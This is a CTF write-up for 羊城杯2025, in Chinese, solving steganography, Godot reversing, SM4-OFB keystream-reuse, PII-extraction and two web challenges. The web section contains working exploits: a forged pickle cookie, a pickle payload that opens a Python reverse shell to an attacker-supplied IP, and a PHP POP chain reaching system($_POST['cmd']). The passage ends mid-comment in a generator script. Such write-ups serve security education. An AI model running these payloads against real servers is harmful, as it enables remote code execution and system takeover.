羊城杯2025 Write UP

羊城杯2025 Write UP

被队里的天才选手带飞了,太强大了!!!

而我除了用AI出一道PHP反序列化之外毫无输出QaQ

MISC

成功男人背后的女人

打开附件发现是一个图片,根据提示,猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议,尝试打开即可发现隐藏图像: 将图像下方的符号按照二进制的方式组合得到:

1
2
3
4
5
6
01000100010000010101001101000011
01010100010001100111101101110111
00110000011011010100010101001110
01011111011000100110010101101000
00110001011011100100010001011111
01001101010001010110111001111101

8个一组解码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#include <iostream>
#include <string>
using namespace std;
int main(){
    string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101";
    for(int i=0;i<str.length();i+=8){
        cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2);
    }
    return 0;
}

运行得到:DASCTF{w0mEN_beh1nD_MEn}

Reverse

GD1

通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开,可找到游戏逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
extends Node

@export var mob_scene: PackedScene
var score
var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"

func _ready():

    pass



func _process(delta: float) -> void :
    pass


func game_over():
    $ScoreTimer.stop()
    $MobTimer.stop()
    $HUD.show_game_over()

func new_game():
    score = 0
    $Player.start($StartPosition.position)
    $StartTimer.start()
    $HUD.update_score(score)
    $HUD.show_message("Get Ready")
    get_tree().call_group("mobs", "queue_free")

func _on_mob_timer_timeout():

    var mob = mob_scene.instantiate()


    var mob_spawn_location = $MobPath / MobSpawnLocation
    mob_spawn_location.progress_ratio = randf()


    var direction = mob_spawn_location.rotation + PI / 2


    mob.position = mob_spawn_location.position


    direction += randf_range( - PI / 4, PI / 4)
    mob.rotation = direction


    var velocity = Vector2(randf_range(150.0, 250.0), 0.0)
    mob.linear_velocity = velocity.rotated(direction)


    add_child(mob)


func _on_score_timer_timeout():
    score += 1
    $HUD.update_score(score)
    if score == 7906:
        var result = ""
        for i in range(0, a.length(), 12):
            var bin_chunk = a.substr(i, 12)
            var hundreds = bin_chunk.substr(0, 4).bin_to_int()
            var tens = bin_chunk.substr(4, 4).bin_to_int()
            var units = bin_chunk.substr(8, 4).bin_to_int()
            var ascii_value = hundreds * 100 + tens * 10 + units
            result += String.chr(ascii_value)
        $HUD.show_message(result)

func _on_start_timer_timeout():
    $MobTimer.start()
    $ScoreTimer.start()

发现当得分到达7906时会调用一个解密算法,将数组a的数据解密然后打印。尝试按照逻辑编写解密程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <iostream>
#include <string>
#include <bitset>

using namespace std;

int bin_to_int(const string &bin) {
    return stoi(bin, nullptr, 2);
}

string decodeBinaryString(const string &a) {
    string result;
    for (size_t i = 0; i + 12 <= a.length(); i += 12) {
        string bin_chunk = a.substr(i, 12);
        int hundreds = bin_to_int(bin_chunk.substr(0, 4));
        int tens     = bin_to_int(bin_chunk.substr(4, 4));
        int units    = bin_to_int(bin_chunk.substr(8, 4));
        int ascii_value = hundreds * 100 + tens * 10 + units;
        result.push_back(static_cast<char>(ascii_value));
    }
    return result;
}

int main() {
    string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101";
    cout << decodeBinaryString(a) << endl;
    return 0;
}

运行,得到Flag:DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}

DS

SM4-OFB

让AI分析一下加密过程并编写解密脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
# 使用此代码进行本地运行或在本环境运行来恢复密文(SM4-OFB 假设下)
# 代码会:
# 1) 使用已知 record1 的明文和密文计算每个分块的 keystream(假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始)
# 2) 用得到的 keystream 去解 record2 对应字段的密文,尝试去掉填充并输出明文(UTF-8 解码)
#
# 说明:此脚本**不需要密钥**,只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性(这是 OFB/CTR 的典型弱点)
# 请确保安装 pycryptodome(如果需要对照加密进行验证),但此脚本只做异或操作,不调用加密库。
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

def xor_bytes(a,b):
    return bytes(x^y for x,y in zip(a,b))

# record1 已知明文与密文(用户提供)
record1 = {
    "name_plain": "蒋宏玲".encode('utf-8'),
    "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e",
    "phone_plain": "17145949399".encode('utf-8'),
    "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c",
    "id_plain": "220000197309078766".encode('utf-8'),
    "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c",
    "iv_hex": "6162636465666768696a6b6c6d6e6f70"
}

# record2 仅密文(用户提供)
record2 = {
    "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43",
    "phone_cipher_hex": "175533440427265293a16447f8eb554c",
    "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c",
    "iv_hex": "6162636465666768696a6b6c6d6e6f70"
}

BS = 16  # 分组长度

# 工具:把字段按 16 字节块切分
def split_blocks(b):
    return [b[i:i+BS] for i in range(0, len(b), BS)]

# 1) 计算 record1 每个字段的 keystream(假设加密前用 PKCS#7 填充,然后按块 XOR)
ks_blocks = {"name": [], "phone": [], "id": []}

# name
C_name = unhexlify(record1["name_cipher_hex"])
P_name_padded = pad(record1["name_plain"], BS)
for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)):
    ks_blocks["name"].append(xor_bytes(c, p))

# phone
C_phone = unhexlify(record1["phone_cipher_hex"])
P_phone_padded = pad(record1["phone_plain"], BS)
for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)):
    ks_blocks["phone"].append(xor_bytes(c, p))

# id (可能为两块)
C_id = unhexlify(record1["id_cipher_hex"])
P_id_padded = pad(record1["id_plain"], BS)
for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)):
    ks_blocks["id"].append(xor_bytes(c, p))

print("Derived keystream blocks (hex):")
for field, blks in ks_blocks.items():
    print(field, [b.hex() for b in blks])

# 2) 使用上述 keystream 去解 record2 相应字段
def recover_field(cipher_hex, ks_list):
    C = unhexlify(cipher_hex)
    blocks = split_blocks(C)
    recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list))
    # 尝试去除填充并解码
    try:
        recovered = unpad(recovered_padded, BS).decode('utf-8')
    except Exception as e:
        recovered = None
    return recovered, recovered_padded

name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"])
phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"])
id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"])

print("\nRecovered (if OFB with same IV/key and per-field restart):")
print("Name padded bytes (hex):", name_padded.hex())
print("Name plaintext:", name_rec)
print("Phone padded bytes (hex):", phone_padded.hex())
print("Phone plaintext:", phone_rec)
print("ID padded bytes (hex):", id_padded.hex())
print("ID plaintext:", id_rec)

# 如果解码失败,打印原始 bytes 以便人工分析
# if name_rec is None:
#     print("\nName padded bytes (raw):", name_padded)
# if phone_rec is None:
#     print("Phone padded bytes (raw):", phone_padded)
# if id_rec is None:
#     print("ID padded bytes (raw):", id_padded)

# 结束

发现能够计算得到姓名和身份证号,再将Excel表中所有人名dump出来放到txt里,让AI写个脚本批量计算:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python3
"""
Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and
one known plaintext/ciphertext pair is available (from record1).

This script:
 - Reads an input file (one hex-encoded cipher per line).
 - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream
   blocks for the name-field (keystream = C XOR P_padded).
 - XORs each input cipher with the derived keystream blocks to recover plaintext,
   removes PKCS#7 padding if present, and prints a line containing:
       <recovered_name>\t<cipher_hex>

Usage:
    python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt

Notes:
 - This assumes each name was encrypted as a separate field starting OFB from
   the same IV (so keystream blocks align for the name-field) and PKCS#7 padding
   was used before encryption. If names exceed the number of derived keystream
   blocks the script will attempt to reuse the keystream cyclically (warns about it),
   but ideally you should supply a longer known plaintext/ciphertext pair to
   derive more keystream blocks.
 - Requires pycryptodome for padding utilities:
       pip install pycryptodome

Edit the KNOWN_* constants below if your known record1 values differ.
"""

import sys
from binascii import unhexlify, hexlify
from Crypto.Util.Padding import pad, unpad

# -----------------------
# ----- KNOWN VALUES ----
# -----------------------
# These are taken from the CTF prompt / earlier messages. Change them if needed.
KNOWN_NAME_PLAIN = "蒋宏玲"  # record1 known plaintext for name field
KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e"  # record1 name ciphertext hex
IV_HEX = "6162636465666768696a6b6c6d6e6f70"  # the IV column (fixed)

# Block size for SM4 (16 bytes)
BS = 16

# -----------------------
# ----- Helpers ---------
# -----------------------

def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def split_blocks(b: bytes, bs: int = BS):
    return [b[i:i+bs] for i in range(0, len(b), bs)]


# -----------------------
# ----- Derive keystream from the known pair
# -----------------------

def derive_keystream_from_known(known_plain: str, known_cipher_hex: str):
    p = known_plain.encode('utf-8')
    c = unhexlify(known_cipher_hex)
    p_padded = pad(p, BS)
    p_blocks = split_blocks(p_padded)
    c_blocks = split_blocks(c)
    if len(p_blocks) != len(c_blocks):
        raise ValueError('Known plaintext/cipher block count mismatch')
    ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)]
    return ks_blocks


# -----------------------
# ----- Recovery --------
# -----------------------

def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks):
    c = unhexlify(cipher_hex.strip())
    c_blocks = split_blocks(c)
    # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically
    if len(c_blocks) > len(ks_blocks):
        print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr)
    recovered_blocks = []
    for i, cb in enumerate(c_blocks):
        ks = ks_blocks[i % len(ks_blocks)]
        recovered_blocks.append(xor_bytes(cb, ks))
    recovered_padded = b''.join(recovered_blocks)
    # Try to unpad and decode; if fails, return hex of raw bytes
    try:
        recovered = unpad(recovered_padded, BS).decode('utf-8')
    except Exception:
        try:
            recovered = recovered_padded.decode('utf-8')
        except Exception:
            recovered = '<raw:' + recovered_padded.hex() + '>'
    return recovered


# -----------------------
# ----- Main -----------
# -----------------------

def main():
    if len(sys.argv) != 2:
        print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr)
        sys.exit(2)
    inpath = sys.argv[1]

    ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX)

    with open(inpath, 'r', encoding='utf-8') as f:
        for lineno, line in enumerate(f, 1):
            line = line.strip()
            if not line:
                continue
            # Assume each line is one hex-encoded name ciphertext (no spaces)
            try:
                recovered = recover_name_from_cipher_hex(line, ks_blocks)
            except Exception as e:
                recovered = '<error: %s>' % str(e)
            print(f"{recovered}\t{line}")


if __name__ == '__main__':
    main()

搜索,发现与何浩璐对应的密文是c2de929284bff9f63b905245fae9574e,再去Excel里搜这串密文对应的身份证号的密文,得到:1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c,再用上面那个脚本解出来:120000197404101676,计算md5:fbb80148b75e98b18d65be446f505fcc即为Flag。

dataIdSort

将需求丢给AI,让AI写了个脚本:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#!/usr/bin/env python3
# coding: utf-8
"""
功能:
- 从 data.txt 中按顺序精确提取:身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。
- 严格遵循《个人信息数据规范文档》,优化正则表达式和匹配策略以达到高准确率。
- 所有匹配项均保留原始格式,并输出到 output.csv 文件中。
"""

import re
import csv
from datetime import datetime

# ------------------- 配置 -------------------
INPUT_FILE = "data.txt"
OUTPUT_FILE = "output.csv"
DEBUG = False  # 设置为 True 以在控制台打印详细的接受/拒绝日志

# 手机号前缀白名单
ALLOWED_MOBILE_PREFIXES = {
    "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159",
    "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145",
    "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153",
    "173", "174", "177", "180", "181", "189", "190", "191", "193", "199"
}
# ---------------------------------------------


# ------------------- 校验函数 -------------------

def luhn_check(digits: str) -> bool:
    """对数字字符串执行Luhn算法校验。"""
    s = 0
    alt = False
    for char in reversed(digits):
        d = int(char)
        if alt:
            d *= 2
            if d > 9:
                d -= 9
        s += d
        alt = not alt
    return s % 10 == 0

def is_valid_id(raw: str):
    """校验身份证号的有效性(长度、格式、出生日期、校验码)。"""
    sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]'
    s = re.sub(sep_pattern, '', raw)
    
    if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s):
        return False, "无效的格式或长度"
    
    try:
        birth_date = datetime.strptime(s[6:14], "%Y%m%d")
        if not (1900 <= birth_date.year <= datetime.now().year):
            return False, f"无效的出生年份: {birth_date.year}"
    except ValueError:
        return False, "无效的出生日期"

    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
    
    total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights))
    expected_check = check_map[total % 11]
    
    if s[17].upper() != expected_check:
        return False, f"校验码不匹配: 期望值 {expected_check}"
        
    return True, ""

def is_valid_phone(raw: str) -> bool:
    """校验手机号的有效性(长度和号段)。"""
    digits = re.sub(r'\D', '', raw)
    if digits.startswith("86") and len(digits) > 11:
        digits = digits[2:]
    
    return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES

def is_valid_bankcard(raw: str) -> bool:
    """校验银行卡号的有效性(16-19位纯数字 + Luhn算法)。"""
    if not (16 <= len(raw) <= 19 and raw.isdigit()):
        return False
    return luhn_check(raw)

def is_valid_ip(raw: str) -> bool:
    """校验IPv4地址的有效性(4个0-255的数字,不允许前导零)。"""
    parts = raw.split('.')
    if len(parts) != 4:
        return False
    # 检查是否存在无效部分,如 '01'
    if any(len(p) > 1 and p.startswith('0') for p in parts):
        return False
    return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts)

def is_valid_mac(raw: str) -> bool:
    """校验MAC地址的有效性。"""
    # 正则表达式已经非常严格,这里仅做最终确认
    return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None

# ------------------- 正则表达式定义 -------------------

# 模式的顺序经过精心设计,以减少匹配歧义:优先匹配格式最特殊的。
# 1. MAC地址:格式明确,使用冒号分隔。
mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})'

# 2. IP地址:格式明确,使用点分隔。该正则更精确,避免匹配如 256.1.1.1 的无效IP。
ip_pattern = r'(?P<ip>(?<!\d)(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?!\d))'

# 3. 身份证号:结构为 6-8-4,长度固定,比纯数字的银行卡更具特异性。
sep = r'[\s\-\u00A0\u3000\u2013\u2014]'
id_pattern = rf'(?P<id>(?<!\d)\d{{6}}(?:{sep}*)\d{{8}}(?:{sep}*)\d{{3}}[0-9Xx](?!\d))'

# 4. 银行卡号:匹配16-19位的连续数字。这是最通用的长数字模式之一,放在后面匹配。
bankcard_pattern = r'(?P<bankcard>(?<!\d)\d{16,19}(?!\d))'

# 5. 手机号:匹配11位数字的特定格式,放在最后以避免错误匹配更长数字串的前缀。
phone_prefix = r'(?:\(\+86\)|\+86\s*)'
phone_body = r'(?:\d{11}|\d{3}[ -]\d{4}[ -]\d{4})'
phone_pattern = rf'(?P<phone>(?<!\d)(?:{phone_prefix})?{phone_body}(?!\d))'

# 将所有模式编译成一个大的正则表达式
combined_re = re.compile(
    f'{mac_pattern}|{ip_pattern}|{id_pattern}|{bankcard_pattern}|{phone_pattern}',
    flags=re.UNICODE | re.IGNORECASE
)

# ------------------- 主逻辑 -------------------

def extract_from_text(text: str):
    """
    使用单一的、组合的正则表达式从文本中查找所有候选者,并逐一校验。
    """
    results = []
    
    for match in combined_re.finditer(text):
        kind = match.lastgroup
        value = match.group(kind)
        
        if kind == 'mac':
            if is_valid_mac(value):
                if DEBUG: print(f"【接受 mac】: {value}")
                results.append(('mac', value))
            elif DEBUG: print(f"【拒绝 mac】: {value}")
        
        elif kind == 'ip':
            if is_valid_ip(value):
                if DEBUG: print(f"【接受 ip】: {value}")
                results.append(('ip', value))
            elif DEBUG: print(f"【拒绝 ip】: {value}")

        elif kind == 'id':
            is_valid, reason = is_valid_id(value)
            if is_valid:
                if DEBUG: print(f"【接受 idcard】: {value}")
                results.append(('idcard', value))
            else:
                # 降级处理:如果作为身份证校验失败,则尝试作为银行卡校验
                digits_only = re.sub(r'\D', '', value)
                if is_valid_bankcard(digits_only):
                    if DEBUG: print(f"【接受 id->bankcard】: {value}")
                    # 规范要求保留原始格式
                    results.append(('bankcard', value))
                elif DEBUG: print(f"【拒绝 id】: {value} (原因: {reason})")

        elif kind == 'bankcard':
            if is_valid_bankcard(value):
                if DEBUG: print(f"【接受 bankcard】: {value}")
                results.append(('bankcard', value))
            elif DEBUG: print(f"【拒绝 bankcard】: {value}")
        
        elif kind == 'phone':
            if is_valid_phone(value):
                if DEBUG: print(f"【接受 phone】: {value}")
                results.append(('phone', value))
            elif DEBUG: print(f"【拒绝 phone】: {value}")
                
    return results

def main():
    """主函数:读取文件,执行提取,写入CSV。"""
    try:
        with open(INPUT_FILE, "r", encoding="utf-8", errors="ignore") as f:
            text = f.read()
    except FileNotFoundError:
        print(f"错误: 输入文件 '{INPUT_FILE}' 未找到。请确保该文件存在于脚本运行目录下。")
        # 创建一个空的data.txt以确保脚本可以运行
        with open(INPUT_FILE, "w", encoding="utf-8") as f:
            f.write("")
        print(f"已自动创建空的 '{INPUT_FILE}'。请向其中填充需要分析的数据。")
        text = ""

    extracted_data = extract_from_text(text)

    with open(OUTPUT_FILE, "w", newline="", encoding="utf-8") as csvfile:
        writer = csv.writer(csvfile)
        writer.writerow(["category", "value"])
        writer.writerows(extracted_data)
    
    print(f"分析完成。共识别 {len(extracted_data)} 条有效敏感数据。结果已保存至 '{OUTPUT_FILE}'。")

if __name__ == "__main__":
    main()

运行,得到export.csv,上传,正确率>=98%即可得到Flag:DASCTF{34164200333121342836358909307523}

WEB

ez_blog

打开网页,发现要登录,根据提示,尝试使用用户名guest密码guest成功登录访客,发现Cookies记录了一个Token=8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e。通过AI分析,可知这是pickle经过序列化然后转换成hex得到的,解码可发现:KappUser)}(idusernameguesis_admin logged_inub.,尝试通过修改里面的内容,将username改成adminis_admin改成True,得到:8004954b000000000000008c03617070948c04557365729493942981947d9428 8c026964944b028c08757365726e616d65948c0561646d696e948c0869735f61 646d696e94888c096c6f676765645f696e948875622e,通过BurpSuite修改请求时的Cookies,成功拿到admin用户的权限(可以创建文章): ez_blog-1.png 也就是说,服务端会将Token反序列化,可以以此利用反序列化漏洞。因为没有回显,只能反弹shell。编写Payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import pickle
import time
import binascii
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('''python3 -c "import os
import socket
import subprocess
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('<Your IP>', 2333))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])"''',))

payload = pickle.dumps(Exploit())
hex_token = binascii.hexlify(payload).decode()
print(hex_token)
print(payload)

obj = pickle.loads(payload)

运行得到Payload:80049510010000000000008c05706f736978948c0673797374656d9493948cf5707974686f6e33202d632022696d706f7274206f730a696d706f727420736f636b65740a696d706f72742073756270726f636573730a733d736f636b65742e736f636b657428736f636b65742e41465f494e45542c20736f636b65742e534f434b5f53545245414d290a732e636f6e6e6563742828273c596f75722049503e272c203233333329290a6f732e6475703228732e66696c656e6f28292c2030290a6f732e6475703228732e66696c656e6f28292c2031290a6f732e6475703228732e66696c656e6f28292c2032290a70203d2073756270726f636573732e63616c6c285b272f62696e2f7368272c20272d69275d292294859452942e,服务器上运行nc -lvvp 2333,将Payload作为Token发送请求后成功拿到Shell。Flag存放在/thisisthefffflllaaaggg.txt中: ez_blog-2.png 得到Flag:DASCTF{15485426979172729258466667411440}

ez_unserialize

题目源码:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
<?php

error_reporting(0);
highlight_file(__FILE__);

class A {
    public $first;
    public $step;
    public $next;

    public function __construct() {
        $this->first = "继续加油!";
    }

    public function start() {
        echo $this->next;
    }
}

class E {
    private $you;
    public $found;
    private $secret = "admin123";

    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}

class F {
    public $fifth;
    public $step;
    public $finalstep;

    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔细想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}

class H {
    public $who;
    public $are;
    public $you;

    public function __construct() {
        $this->you = "nobody";
    }

    public function __destruct() {
        $this->who->start();
    }
}

class N {
    public $congratulation;
    public $yougotit;

    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}

class U {
    public $almost;
    public $there;
    public $cmd;

    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd'];
    }

    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}

class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;

    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}

unserialize($_POST['payload']);

?>

利用思路(简短)

  1. 利用 H::__destruct() 在对象销毁时触发 who->start()
  2. A::start() echo $this->next,因此把 next 设为 V 的实例,使 V::__toString() 被调用。
  3. V::__toString() 会读取 $this->go->$abc,如果 dowhat = "secret"goE 的实例,则会触发 E::__get("secret")
  4. E::__get 会调用 $this->found->check(),其中 foundF 的实例。
  5. F::check() 新建 $this->finalstep() 并随后 ($this->step)() 调用对象。如果设置 finalstep = "u"(小写),new 'u' 会 case-insensitive 实例化类 U,从而绕过 preg_match("/U/") 的阻断。
  6. U::__construct() 构造 N(在那里定义了 __call),并把 cmd = $_POST['cmd']U::__invoke() 调用 $this->there->system($this->cmd),触发 N::__call() 使用 call_user_func('system', ...) 执行系统命令。 => 最终达到 system($_POST['cmd']) 执行。

直接可用的序列化 payload(已手工构造)

1
O:1:"H":1:{s:3:"who";O:1:"A":1:{s:4:"next";O:1:"V":2:{s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":1:{s:5:"found";O:1:"F":1:{s:9:"finalstep";s:1:"u";}}}}}

解题脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
/**
 * pop_chain_generator.php
 *
 * 这个脚本用于生成本题的 POP chain(PHP 序列化 payload)。
 *
 * 使用方法:
 *  1. 在本地保存为 pop_chain_generator.php
 *  2. 运行: php pop_chain_generator.php
 *  3. 程序会输出三种格式:
 *     - 原始序列化字符串(直接在目标页面的 payload 参数使用)
 *     - URL encoded(可直接放入 curl 的 --data-urlencode)
 *     - Base64 编码(一些题目把 payload 放到 header 或 cookie 时更方便)
 *
 * 利用思路(详尽注释):
 *  1) 触发点:目标脚本在最后执行 unserialize($_POST['payload']);
 *  2) H::__destruct() 在对象销毁时调用 $this->who->start();
 *     - 因此我们希望让 H->who 指向一个 A 的实例,A::start() 会 echo $this->next;
 *  3) 如果 A->next 指向 V 的实例,A::start() echo $this->next 将触发 V::__toString()(因为 echo 对象会调用 __toString)
 *  4) V::__toString() 的实现里:
 *       $abc = $this->dowhat;
 *       $this->go->$abc;
 *     - 也就是说:如果我们把 dowhat 设置为 "secret",并把 go 设置为 E 的实例,则会触发 E::__get('secret')
 *  5) E::__get() 中,当 $name==='secret' 时,会 echo 提示并调用 $this->found->check();
 *     - 因此我们把 E->found 设置为 F 的实例
 *  6) F::check() 的逻辑:
 *       if(preg_match("/U/", $this->finalstep)) { echo "仔细想想!"; }
 *       else { $this->step = new $this->finalstep(); ($this->step)(); }
 *     - 关键点:preg_match 匹配的是大写字母 U。如果我们把 finalstep 设为小写 'u',preg_match("/U/") 不匹配,
 *       于是会执行 $this->step = new 'u'(); 在 PHP 中类名不区分大小写,new 'u'() 会实例化类 U。
 *     - 随后 ($this->step)(); 会触发 U::__invoke()
 *  7) U::__construct() 会把 $this->there = new N(); 并把 $this->cmd = $_POST['cmd'];
 *    U::__invoke() 返回 $this->there->system($this->cmd);
 *  8) N::__call() 的实现:
 *       return call_user_func($func_name,$args[0]);
 *    - 这意味着当通过 $this->there->system(...) 调用时,N::__call 会调用 call_user_func('system', $cmd)
 *    - 最终达到执行 system($_POST['cmd']) 的效果
 *
 * 总结:构造一个 H -> A -> V -> E -> F 的对象链并设置合适字段,
 * 在反序列化链触发后会最终执行 system($_POST['cmd'])。
 *
 * 注意事项:
 *  - 在某些练习/平台上可能启用 unserialize 的 allowed_classes 白名单或禁用了某些类,若出现这种情况需要另外寻找 gadget。
